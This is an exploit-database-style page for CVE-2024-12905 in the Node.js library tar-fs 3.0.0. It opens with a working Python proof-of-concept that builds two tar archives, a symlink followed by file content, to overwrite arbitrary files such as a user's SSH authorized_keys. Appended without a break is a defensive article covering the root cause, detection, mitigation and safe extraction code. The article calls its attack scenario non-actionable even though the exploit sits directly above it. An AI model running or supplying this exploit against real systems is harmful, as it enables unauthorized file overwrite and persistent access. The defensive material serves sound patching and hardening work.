tar-fs 3.0.0 - Arbitrary File Write/Overwrite
# Exploit Title: tar-fs 3.0.0 - Arbitrary File Write/Overwrite
# Date: 17th April, 2024
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/mafintosh/tar-fs
# Version: tar-fs 3.0.0
# Tested on: Ubuntu
# CVE: CVE-2024-12905
# Run the command: Example: python3 exploit.py authorized_keys ../../../../../../../../home/user1/authorized_keys
# This will generate two tar file: stage_1.tar and stage_2.tar
# Upload stage_1.tar first to unarchive the symlink
# Next, upload stage_2.tar to finally write/overwrite the file on the system
import os
import sys
import tarfile
link_name = "normal_file"
def check_arguments():
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <path_to_file_contents> <path_to_target_file_to_overwrite>\n\
Example: {sys.argv[0]} authorized_keys ../../../../../../../../home/user1/authorized_keys\
")
sys.exit()
content_file_path = sys.argv[1]
target_file_path = sys.argv[2]
return content_file_path, target_file_path
def create_symlink(link_name, target_path):
os.symlink(target_path, link_name)
print("[+] Created symlink: {link_name} -> {target_path}")
def archive_files(archive_name, file_path):
tar = tarfile.open(archive_name, 'w')
tar.add(file_path, link_name, recursive=False)
tar.close()
print(f"[+] Archived to: {archive_name}")
def main():
content_path, target_file = check_arguments()
stage_1_archive_name = "stage_1.tar"
stage_2_archive_name = "stage_2.tar"
create_symlink(link_name, target_file)
archive_files(stage_1_archive_name, link_name)
archive_files(stage_2_archive_name, content_path)
if __name__ == "__main__":
main() tar-fs 3.0.0 — Arbitrary File Write/Overwrite (CVE-2024-12905)
This article explains the security issue discovered in tar-fs 3.0.0 (CVE-2024-12905), how it works at a technical level, what risks it poses to systems that extract untrusted archives, and practical mitigation strategies for developers and operators. The goal is to provide clear, defensive guidance — safe patterns you can adopt to avoid this class of vulnerability.
Summary
tar-fs is a Node.js library used to read and write tar archives. In version 3.0.0, a vulnerability allows an attacker to cause arbitrary file writes or overwrite files outside the intended extraction directory by abusing symlink handling and path resolution during multi-stage extraction. This can lead to privileged file corruption (for example, overwriting SSH authorized_keys, configuration files, or application data) when archives are extracted in contexts that trust archive contents.
Root cause (technical overview)
The vulnerability arises from two combined issues common in tar extractors:
- Insufficient validation of entry names and target paths (path traversal via “../” sequences or absolute paths).
- Unsafe handling or following of symbolic links created by earlier archive entries — subsequent entries may be written through a symlink that points outside the intended extraction directory.
When extraction proceeds sequentially, an attacker-controlled archive can create a symlink inside the extraction tree that points to an arbitrary filesystem location. Later entries with the same pathname (or a pathname that resolves through the symlink) get written to the symlink's real target, enabling writes outside the extraction root.
High-level attack scenario (non-actionable)
- An attacker crafts an archive that, when extracted, first creates an entry that is a symlink inside the target directory pointing to a sensitive path outside that directory.
- A subsequent archive entry is a regular file written to the same pathname; when the extraction code writes that file, the file data follows the symlink and overwrites the attacker-chosen target on disk.
- The result is a write or overwrite of an arbitrary file on the host, with the privileges of the extraction process.
Why this is dangerous
- Arbitrary file overwrite can enable persistent remote access (for example by replacing configuration or SSH files), privilege escalation (if the process has write access to privileged files), or data destruction.
- Automated systems that accept and unpack archives (CI/CD runners, unpacking services, self-hosted apps) are at particular risk if they extract archives with elevated privileges or into sensitive paths.
Detection and indicators of compromise
- Unexpected modifications to sensitive files (e.g., SSH keys, config files) shortly after archive processing.
- Creation of symlinks within extraction directories that point outside the intended root.
- Unusual process behavior or unexpected network connections following archive extraction.
- File integrity violations detected by checksums or host-based integrity tools (AIDE, Tripwire).
To detect exploitation attempts, monitor the extraction process logs, audit filesystem writes during extraction, and validate archive contents before extracting (see mitigation below).
Remediation and mitigation strategies
- Patch immediately: Upgrade tar-fs to a version that includes the fix for CVE-2024-12905. Verify the library's changelog or security advisory on the project repository for the fixed release number. Use npm audit or your dependency tracking tooling to identify vulnerable instances.
- Never extract untrusted archives directly into sensitive locations: Extract into a dedicated empty directory that is created for each extraction and has no privileged content under it.
- Run extraction in a sandbox: Use containerization (e.g., ephemeral container, unprivileged user, restrictive Linux namespaces) or a dedicated low-privilege account for extraction tasks.
- Reject or ignore symlink and hardlink entries: Configure your extractor or write extraction logic to skip link types from untrusted archives. If links are required, only allow links that remain within the extraction root and point to safe targets.
- Perform path sanitization: Resolve each entry's absolute path and ensure it is within the intended extraction directory before writing.
- Verify with file integrity checks: After extraction, compare critical configuration or binary checksums against known-good baselines.
Safe extraction pattern (Node.js example)
The following example demonstrates a defensive extraction approach using a stream-based tar parser (pseudo/illustrative code). This code does not provide an exploit; it demonstrates how to validate entries and reject dangerous ones before writing to disk.
const fs = require('fs');
const path = require('path');
const tar = require('tar-stream'); // or any stream-based extractor
/**
* Safely extract a tar stream to destDir.
* - Rejects absolute paths and entries that escape destDir.
* - Skips symlinks and hardlinks coming from the archive.
*/async function safeExtract(tarStream, destDir) {
const extract = tar.extract();
function safePath(entryPath) {
// Normalize and prevent absolute paths
const sanitized = path.posix.normalize('/' + entryPath).replace(/^\/+/, '');
const resolved = path.resolve(destDir, sanitized);
if (!resolved.startsWith(path.resolve(destDir) + path.sep) && resolved !== path.resolve(destDir)) {
// Path resolves outside destDir
return null;
}
return resolved;
}
extract.on('entry', (header, stream, next) => {
try {
// Skip symlinks and hard links from the archive (header.type can be 'symlink' or 'link')
if (header.type === 'symlink' || header.type === 'link') {
stream.resume(); // drain
return next();
}
const outPath = safePath(header.name);
if (!outPath) {
// Unsafe path — skip or log
stream.resume(); // drain the stream
return next();
}
if (header.type === 'directory') {
fs.mkdirSync(outPath, { recursive: true });
stream.resume();
return next();
}
// For regular files, ensure parent exists
fs.mkdirSync(path.dirname(outPath), { recursive: true });
const writeStream = fs.createWriteStream(outPath, { mode: header.mode });
stream.pipe(writeStream);
writeStream.on('finish', next);
} catch (err) {
// Handle error, drain stream to continue
stream.resume();
next(err);
}
});
tarStream.pipe(extract);
return new Promise((resolve, reject) => {
extract.on('finish', resolve);
extract.on('error', reject);
});
}Explanation: This snippet demonstrates defensive checks for tar entries. It normalizes entry paths, ensures they resolve inside a designated destination directory, and explicitly skips symlink/hardlink entries from the archive. Writing only after validation prevents an archive from creating a symlink inside the extraction tree and then causing later entries to write through that symlink.
Sanitization helper (generic)
Here is a compact helper function pattern (language-agnostic) to validate and sanitize paths before extraction:
function sanitizeAndResolve(destRoot, entryName):
// avoid absolute paths
if entryName starts with '/':
entryName = entryName trimmed leading '/'
// normalize '..' and '.' components
normalized = posix_normalize(entryName)
resolved = path_resolve(destRoot, normalized)
// ensure resolved is within destRoot
if not resolved.startsWith(destRoot + path_separator):
return null // reject this entry
return resolvedExplanation: The helper removes absolute path attempts, collapses path traversal sequences using a POSIX-normalize operation, and then checks the resolved absolute path stays within the intended extraction root. Reject any entry for which this fails.
Operational recommendations
- Run periodic dependency checks (npm audit, Snyk, Dependabot) and subscribe to security advisories for packages you use.
- Adopt least privilege for services that handle user-supplied archives — drop capabilities and run as an unprivileged user where possible.
- Use ephemeral, isolated environments for unpacking untrusted data (containers, VMs, or sandboxed file systems).
- Implement file integrity monitoring and alerting to detect unexpected changes after extractions.
What to do if you suspect exploitation
- Immediately stop the service that performed the extraction and preserve the host for forensic analysis.
- Collect relevant logs (application, system, and any uploader logs) and any archives involved.
- Compare filesystem snapshots or checksums to known baselines to identify overwritten or modified artifacts.
- Rotate credentials or keys that may have been exposed or replaced.
References and responsible disclosure
- CVE identifier: CVE-2024-12905 (refer to vendor advisory and project repository for timeline and fix)
- Project: tar-fs (maintainer advisories should contain the fixed release and migration instructions)
Always follow the project's advisory and upgrade to the patched release. If you maintain code that extracts tar archives, incorporate the safe patterns above even after applying the patch — defense-in-depth reduces the risk from similar vulnerabilities in other libraries.